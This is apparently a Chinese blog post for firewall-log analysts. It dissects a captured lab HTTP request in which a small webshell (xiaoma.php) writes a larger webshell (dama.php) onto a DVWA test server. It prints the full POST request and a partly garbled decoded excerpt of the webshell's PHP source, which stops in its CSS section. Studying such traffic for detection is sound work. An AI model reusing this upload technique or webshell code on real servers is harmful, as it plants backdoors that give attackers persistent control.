java 计算%3c%3c%3c,HTTP协议包分析（小马上传大马）

小马上传大马）"/>

java 计算%3c%3c%3c,HTTP协议包分析（小马上传大马）

最近工作内容是分析防火墙日志，看日志是正确，本地实验小马上传大马  抓取http包如下。可以在分析过程中进行借鉴。

该http请求的行为是通过小马，在小马的当前目录创建一个dama.php的文件，文件内容就是大马的里面的代码。

POST /dvwa/xiaoma.php HTTP/1.1

Host: 192.168.1.109

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 219930

Referer: http://192.168.1.109/dvwa/xiaoma.php

Cookie: security=impossible; PHPSESSID=bi5luo0u864miqcqffpgdql0i6

Connection: close

Upgrade-Insecure-Requests: 1

f=C%3A%2Fphpstudy%2FWWW%2Fdvwa%2Fdama.php&c=%3C%3Fphp%0D%0A%24password+%3D+%22admin%21%40%23%22%3B%2F%2Fchange+password+here%0D%0Aerror_reporting%

28E_ERROR%29%3B%0D%0Aset_time_limit%280%29%3B%0D%0A%24lanip+%3D+getenv%28%27REMOTE_ADDR%27%29%3B%0D%0A%0D%0Afunction+Root_GP%28%26%24array%29%0D

%0A%7B%0D%0A%09while%28list%28%24key%2C%24var%29+%3D+each%28%24array%29%29%0D%0A%09%7B%0D%0A%09%09if%28%28strtoupper%28%24key%29+%21%3D+%24key+%7

C%7C+%27%27.intval%28%24key%29+%3D%3D+%22%24key%22%29+%26%26+%24key+%21%3D+%27argc%27+%26%26+%24key+%21%3D+%27argv%27%29%0D%0A%09%09%7B%0D%0A%

09%09%09if%28is_string%28%24var%29%29+%24array%5B%24key%5D+%3D+stripslashes%28%24var%29%3B%0D%0A%09%09%09if%28is_array%28%24var%29%29+%24array%5B

%24key%5D+%3D+Root_GP%28%24var%29%3B++%0D%0A%09%09%7D%0D%0A%09%7D%0D%0A%09return+%24array%3B%0D%0A%7D%0D%0A%0D%0Afunction+Root_CSS%28%29%0D%0A%7B

%0D%0Aprint%3C%3C%3CEND%0D%0A%3Cstyle+type%3D%22text%2Fcss%22%3E%0D%0A%09*%7Bpadding%3A0%3B+margin%3A0%3B%7D%0D%0A%09body%7Bbackground%3Athree

dface%3Bfont-family%3A%22Verdana%22%2C+%22Tahoma%22%2C+sans-serif%3B+font-size%3A13px%3Bmargin-top%3A3px%3Bmargin-bottom%3A3px%3Btable-layout%

3Afixed%3Bword-break%3Abreak-all%3B%7D%0D%0A%09a%7Bcolor%3A%23000000%3Btext-decoration%3Anone%3B%7D%0D%0A%09a%3Ahover%7Bbackground%3A%2333FF33

%3B%7D%0D%0A%09table%7Bcolor%3A%23000000%3Bfont-family%3A%22Verdana%22%2C+%22Tahoma%22%2C+sans-serif%3Bfont-size%3A13px%3Bborder%3A1px+solid+%

23999999%3B%7D%0D%0A%09td%7Bbackground%3A%23F9F6F4%3B%7D%0D%0A++++++++.bt%7Bbackground%3A%233d3d3d%3Bcolor%3A%23ffffff%3Bborder%3A2px%3Bfont%3A13

px+Arial%2CTahoma%3Bheight%3A22px%3B%7D%0D%0A%09.toptd%7Bbackground%3Athreedface%3B+width%3A310px%3B+border-color%3A%23FFFFFF+%23999999+%2399999

9+%23FFFFFF%3B+border-style%3Asolid%3Bborder-width%3A1px%3B%7D%0D%0A%09.msgbox%7Bbackground%3A%23FFFFE0%3Bcolor%3A%23FF0000%3Bheight%3A25px%3Bfo

nt-size%3A12px%3Bborder%3A1px+solid+%23999999%3Btext-align%3Acenter%3Bpadding%3A3px%3Bclear%3Aboth%3B%7D%0D%0A%09.actall%7Bbackground%3A%23F9F6F

4%3Bfont-size%3A14px%3Bborder%3A1px+solid+%23999999%3Bpadding%3A2px

POST数据内容

f=C:/phpstudy/WWW/dvwa/dama.php&c=<?php

$password = "admin!@#";//change password here

error_reporting%

28E_ERROR);

set_time_limit(0);

$lanip = getenv('REMOTE_ADDR');

function Root_GP(&$array)

{

while(list($key,$var) = each($array))

{

if((strtoupper($key) != $key %7

C| ''.intval($key) == "$key") && $key != 'argc' && $key != 'argv')

{

%

09if(is_string($var)) $array[$key] = stripslashes($var);

if(is_array($var)) $array[

$key] = Root_GP($var);

}

}

return $array;

}

function Root_CSS()

{

print<<

*{padding:0; margin:0;}

body{background:three

dface;font-family:"Verdana", "Tahoma", sans-serif; font-size:13px;margin-top:3px;margin-bottom:3px;table-layout%

3Afixed;word-break:break-all;}

a{color:#000000;text-decoration:none;}

a:hover{background:#33FF33

;}

table{color:#000000;font-family:"Verdana", "Tahoma", sans-serif;font-size:13px;border:1px solid %

23999999;}

td{background:#F9F6F4;}

.bt{background:#3d3d3d;color:#ffffff;border:2px;font:13

px Arial,Tahoma;height:22px;}

.toptd{background:threedface; width:310px; border-color:#FFFFFF #999999 #99999

9 #FFFFFF; border-style:solid;border-width:1px;}

.msgbox{background:#FFFFE0;color:#FF0000;height:25px;fo

nt-size:12px;border:1px solid #999999;text-align:center;padding:3px;clear:both;}

.actall{background:#F9F6F

4;font-size:14px;border:1px solid #999999;padding:2px